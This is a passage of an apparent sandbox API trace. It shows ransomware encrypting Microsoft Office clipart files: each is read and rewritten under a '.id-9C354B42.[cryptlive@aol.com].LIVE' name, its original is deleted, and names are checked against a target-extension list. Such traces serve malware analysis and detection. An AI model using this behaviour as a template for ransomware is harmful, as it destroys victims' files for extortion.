lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14132) returned 1 [0154.846] CloseHandle (hObject=0x314) returned 1 [0154.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0154.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.847] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.847] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.848] GetLastError () returned 0x0 [0154.848] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3734, lpOverlapped=0x0) returned 1 [0155.007] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3740, lpOverlapped=0x0) returned 1 [0155.008] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.008] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.008] SetEndOfFile (hFile=0x1b8) returned 1 [0155.009] CloseHandle (hObject=0x1b8) returned 1 [0155.009] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.009] SetEndOfFile (hFile=0x314) returned 1 [0155.011] CloseHandle (hObject=0x314) returned 1 [0155.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.013] lstrlenW (lpString=".doc") returned 4 [0155.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString=".docx") returned 5 [0155.013] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.013] lstrlenW (lpString=".pdf") returned 4 [0155.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString=".xls") returned 4 [0155.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.013] lstrlenW (lpString=".xlsx") returned 5 [0155.013] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.013] lstrlenW (lpString=".ppt") returned 4 [0155.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.013] lstrlenW (lpString=".zip") returned 4 [0155.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.013] lstrlenW (lpString=".rar") returned 4 [0155.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString=".bz2") returned 4 [0155.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString=".7z") returned 3 [0155.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.013] lstrlenW (lpString=".dbf") returned 4 [0155.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.013] lstrlenW (lpString=".1cd") returned 4 [0155.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.013] lstrlenW (lpString=".jpg") returned 4 [0155.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.014] lstrlenW (lpString=".doc") returned 4 [0155.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString=".docx") returned 5 [0155.014] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.014] lstrlenW (lpString=".pdf") returned 4 [0155.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString=".xls") returned 4 [0155.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.014] lstrlenW (lpString=".xlsx") returned 5 [0155.014] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.014] lstrlenW (lpString=".ppt") returned 4 [0155.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.014] lstrlenW (lpString=".zip") returned 4 [0155.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.014] lstrlenW (lpString=".rar") returned 4 [0155.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString=".bz2") returned 4 [0155.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString=".7z") returned 3 [0155.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.014] lstrlenW (lpString=".dbf") returned 4 [0155.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.014] lstrlenW (lpString=".1cd") returned 4 [0155.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0155.014] lstrlenW (lpString=".jpg") returned 4 [0155.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.014] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0155.015] lstrlenW (lpString="J0107302.WMF") returned 12 [0155.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0155.299] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4136) returned 1 [0155.299] CloseHandle (hObject=0x3b4) returned 1 [0155.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0155.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.435] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.435] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0155.436] GetLastError () returned 0x0 [0155.436] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1028, lpOverlapped=0x0) returned 1 [0155.474] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1030, lpOverlapped=0x0) returned 1 [0155.475] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.475] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.475] SetEndOfFile (hFile=0x314) returned 1 [0155.475] CloseHandle (hObject=0x314) returned 1 [0155.475] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.475] SetEndOfFile (hFile=0x350) returned 1 [0155.478] CloseHandle (hObject=0x350) returned 1 [0155.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0156.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.122] lstrlenW (lpString=".doc") returned 4 [0156.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.122] lstrlenW (lpString=".docx") returned 5 [0156.122] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.122] lstrlenW (lpString=".pdf") returned 4 [0156.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.122] lstrlenW (lpString=".xls") returned 4 [0156.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.122] lstrlenW (lpString=".xlsx") returned 5 [0156.122] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.122] lstrlenW (lpString=".ppt") returned 4 [0156.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.123] lstrlenW (lpString=".zip") returned 4 [0156.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.123] lstrlenW (lpString=".rar") returned 4 [0156.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString=".bz2") returned 4 [0156.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString=".7z") returned 3 [0156.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.123] lstrlenW (lpString=".dbf") returned 4 [0156.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.123] lstrlenW (lpString=".1cd") returned 4 [0156.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.123] lstrlenW (lpString=".jpg") returned 4 [0156.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.123] lstrlenW (lpString=".doc") returned 4 [0156.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.123] lstrlenW (lpString=".docx") returned 5 [0156.123] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.123] lstrlenW (lpString=".pdf") returned 4 [0156.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.124] lstrlenW (lpString=".xls") returned 4 [0156.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.124] lstrlenW (lpString=".xlsx") returned 5 [0156.124] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.124] lstrlenW (lpString=".ppt") returned 4 [0156.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.124] lstrlenW (lpString=".zip") returned 4 [0156.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.124] lstrlenW (lpString=".rar") returned 4 [0156.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.124] lstrlenW (lpString=".bz2") returned 4 [0156.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.124] lstrlenW (lpString=".7z") returned 3 [0156.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.124] lstrlenW (lpString=".dbf") returned 4 [0156.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.124] lstrlenW (lpString=".1cd") returned 4 [0156.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0156.124] lstrlenW (lpString=".jpg") returned 4 [0156.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.125] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.125] lstrlenW (lpString="J0107350.WMF") returned 12 [0156.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.162] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=23672) returned 1 [0156.162] CloseHandle (hObject=0x3b4) returned 1 [0156.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0156.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.193] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.193] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.195] GetLastError () returned 0x0 [0156.195] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5c78, lpOverlapped=0x0) returned 1 [0156.256] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5c80, lpOverlapped=0x0) returned 1 [0156.257] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.257] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.257] SetEndOfFile (hFile=0x1dc) returned 1 [0156.257] CloseHandle (hObject=0x1dc) returned 1 [0156.257] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.257] SetEndOfFile (hFile=0x1b8) returned 1 [0156.260] CloseHandle (hObject=0x1b8) returned 1 [0156.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0156.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString=".doc") returned 4 [0156.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".docx") returned 5 [0156.262] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.262] lstrlenW (lpString=".pdf") returned 4 [0156.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".xls") returned 4 [0156.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.262] lstrlenW (lpString=".xlsx") returned 5 [0156.262] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.262] lstrlenW (lpString=".ppt") returned 4 [0156.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString=".zip") returned 4 [0156.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.262] lstrlenW (lpString=".rar") returned 4 [0156.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".bz2") returned 4 [0156.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".7z") returned 3 [0156.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString=".dbf") returned 4 [0156.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString=".1cd") returned 4 [0156.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString=".jpg") returned 4 [0156.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.262] lstrlenW (lpString=".doc") returned 4 [0156.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".docx") returned 5 [0156.263] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.263] lstrlenW (lpString=".pdf") returned 4 [0156.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".xls") returned 4 [0156.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.263] lstrlenW (lpString=".xlsx") returned 5 [0156.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.263] lstrlenW (lpString=".ppt") returned 4 [0156.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.263] lstrlenW (lpString=".zip") returned 4 [0156.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.263] lstrlenW (lpString=".rar") returned 4 [0156.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".bz2") returned 4 [0156.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".7z") returned 3 [0156.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.263] lstrlenW (lpString=".dbf") returned 4 [0156.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.263] lstrlenW (lpString=".1cd") returned 4 [0156.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0156.263] lstrlenW (lpString=".jpg") returned 4 [0156.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.263] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.263] lstrlenW (lpString="J0107450.WMF") returned 12 [0156.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.299] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4920) returned 1 [0156.299] CloseHandle (hObject=0x1fc) returned 1 [0156.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0156.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, 